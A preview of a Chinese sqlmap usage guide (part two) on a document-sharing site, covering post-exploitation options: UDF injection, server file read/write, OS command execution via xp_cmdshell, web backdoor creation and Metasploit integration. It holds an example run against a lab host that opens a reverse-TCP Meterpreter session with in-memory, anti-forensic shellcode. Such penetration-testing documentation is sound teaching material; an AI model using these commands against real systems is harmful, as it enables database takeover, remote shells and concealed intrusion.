没有合适的资源?快使用搜索试试~ 我知道了~
记一份SQLmap 使用手册小结(二)1
需积分: 0 0 下载量 71 浏览量
2022-08-03
13:21:24
上传
评论
收藏 368KB PDF 举报
温馨提示
试读
21页
前言其他高级用户自定义函数注入系统文件操作当数据库为 MySQL,PostgreSQL 或 Microsoft SQLServer ,并且当前用户有权限使用特定
资源详情
资源评论
资源推荐
/
记一份 SQLmap 使用手册小结(二)
上一篇文章: 记一份 SQLmap 使用手册小结(一) (https://xz.aliyun.com/t/3010)
希望各位大佬轻喷 (QAQ)
本人博客: http://www.cnblogs.com/miraitowa/ (http://www.cnblogs.com/miraitowa/)
参数: –udf-inject,–shared-lib
你可以通过编译 MySQL 注入你自定义的函数 (UDFs)或PostgreSQL 在 windows 中共享库, DLL ,
或者 Linux/Unix 中共享对象,
sqlmap 将会问你一些问题,上传到服务器数据库自定义函数,然后根据你的选择执行他们,当
你注入完成后, sqlmap 将会移除它们。
从数据库服务器中读取文件
参数
前言
其他高级
用户自定义函数注入
系统文件操作
/
参数: –file-read
当数据库为 MySQL,PostgreSQL 或 Microsoft SQLServer ,并且当前用户有权限使用特定的函数。读
取的文件可以是文本也可以是二进制文件。
把文件上传到数据库服务器中
参数: –file-write,–file-dest
当数据库为 MySQL,PostgreSQL或Microsoft SQLServer ,并且当前用户有权限使用特定的函数。上传
的文件可以是文本也可以是二进制文件。
运行任意操作系统命令
参数: –os-cmd,–os-shell
当数据库为 MySQL,PostgreSQL或Microsoft SQL Server ,并且当前用户有权限使用特定的函数。
在 MySQL、PostgreSQL,sqlmap 上传一个二进制库,包含用户自定义的函
数, sys_exec()和sys_eval() 。
那么他创建的这两个函数可以执行系统命令。在 Microsoft SQLServer,sqlmap 将会使
用 xp_cmdshell 存储过程,
如果被禁 (在Microsoft SQL Server2005 及以上版本默认禁制), sqlmap 会重新启用它,如果不
存在,会自动创建。
用 –os-shell 参数也可以模拟一个真实的 shell ,可以输入你想执行的命令。
当不能执行多语句的时候(比如 php 或者 asp 的后端数据库为 MySQL 时),仍然可能使
用 INTOOUTFILE 写进可写目录,来创建一个 web 后门。支持的语言:
/
1、ASP
2、ASP.NET
3、JSP
4、PHP
Meterpreter 配合使用
参数: –os-pwn,–os-smbrelay,–os-bof,–priv-esc,–msf-path,–tmp-path
当数据库为 MySQL,PostgreSQL或Microsoft SQLServer ,并且当前用户有权限使用特定的函数,可以
在数据库与攻击者直接建立 TCP 连接,
这个连接可以是一个交互式命令行的 Meterpreter 会话, sqlmap 根据 Metasploit 生
成 shellcode ,并有四种方式执行它:
1. 通过用户自定义的sys_bineval()函数在内存中执行Metasplit的shellcode,支持MySQL和PostgreSQL数据库,参
数:--os-pwn。
2. 通过用户自定义的函数上传一个独立的payload执行,MySQL和PostgreSQL的sys_exec()
函
数
,
Microsoft SQL Serve
r
的
xp_cmdshell()函数,参数:--os-pwn。
3. 通过SMB攻击(MS08-068)来执行Metasploit的shellcode,当sqlmap获取到的权限足够高的时候(Linux/Unix的uid=
0,Windows是Administrator),--os-smbrelay。
4. 通过溢出Microsoft SQL Server 2000和2005的sp_replwritetovarbin存储过程(MS09-004),在内存中执行Metaspl
oit的payload,参数:--os-bof
/
列举一个 MySQL 例子:
$ python sqlmap.py -u
"http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?id=1" --os-pwn
--msf-path /software/metasploit
[...]
[hh:mm:31] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: MySQL 5.0
[hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:31] [INFO] the back-end DBMS operating system is Windows
how do you want to establish the tunnel?
[1] TCP: Metasploit Framework (default)
[2] ICMP: icmpsh - ICMP tunneling
\>
[hh:mm:32] [INFO] testing if current user is DBA
[hh:mm:32] [INFO] fetching current user
what is the back-end database management system architecture?
[1] 32-bit (default)
[2] 64-bit
\>
[hh:mm:33] [INFO] checking if UDF 'sys_bineval' already exist
[hh:mm:33] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:33] [INFO] detecting back-end DBMS version from its banner
[hh:mm:33] [INFO] retrieving MySQL base directory absolute path
[hh:mm:34] [INFO] creating UDF 'sys_bineval' from the binary UDF file
[hh:mm:34] [INFO] creating UDF 'sys_exec' from the binary UDF file
how do you want to execute the Metasploit shellcode on the back-end database
underlying
operating system?
[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)
[2] Stand-alone payload stager (file system way)
/
\>
[hh:mm:35] [INFO] creating Metasploit Framework multi-stage shellcode
which connection type do you want to use?
[1] Reverse TCP: Connect back from the database host to this machine (default)
[2] Reverse TCP: Try to connect back from the database host to this machine, on
all ports
between the specified and 65535
[3] Bind TCP: Listen on the database host for a connection
\>
which is the local address? [192.168.136.1]
which local port number do you want to use? [60641]
which payload do you want to use?
[1] Meterpreter (default)
[2] Shell
[3] VNC
\>
[hh:mm:40] [INFO] creation in progress ... done
[hh:mm:43] [INFO] running Metasploit Framework command line interface locally,
please wait..
\_
\| \| o
\_ \_ \_ \_ \_\|\_ \__, , \_ \| \| \_\_ \_\|\_
/ \|/ \|/ \| \|/ \| / \| / \\_\|/ \\_\|/ / \\_\| \|
\| \| \|_/\|__/\|_/\\_/\|_/ \\/ \|__/ \|__/\\__/ \|_/\|_/
/\|
\\\|
=[ metasploit v3.7.0-dev [core:3.7 api:1.0]
\+ -- --=[ 674 exploits - 351 auxiliary
\+ -- --=[ 217 payloads - 27 encoders - 8 nops
=[ svn r12272 updated 4 days ago (2011.04.07)
PAYLOAD =\> windows/meterpreter/reverse_tcp
EXITFUNC =\> thread
LPORT =\> 60641
LHOST =\> 192.168.136.1
[\*] Started reverse handler on 192.168.136.1:60641
[\*] Starting the payload handler...
[hh:mm:48] [INFO] running Metasploit Framework shellcode remotely via UDF
剩余20页未读,继续阅读
学习呀三木
- 粉丝: 22
- 资源: 303
上传资源 快速赚钱
- 我的内容管理 展开
- 我的资源 快来上传第一个资源
- 我的收益 登录查看自己的收益
- 我的积分 登录查看自己的积分
- 我的C币 登录后查看C币余额
- 我的收藏
- 我的下载
- 下载帮助
安全验证
文档复制为VIP权益,开通VIP直接复制
信息提交成功
评论0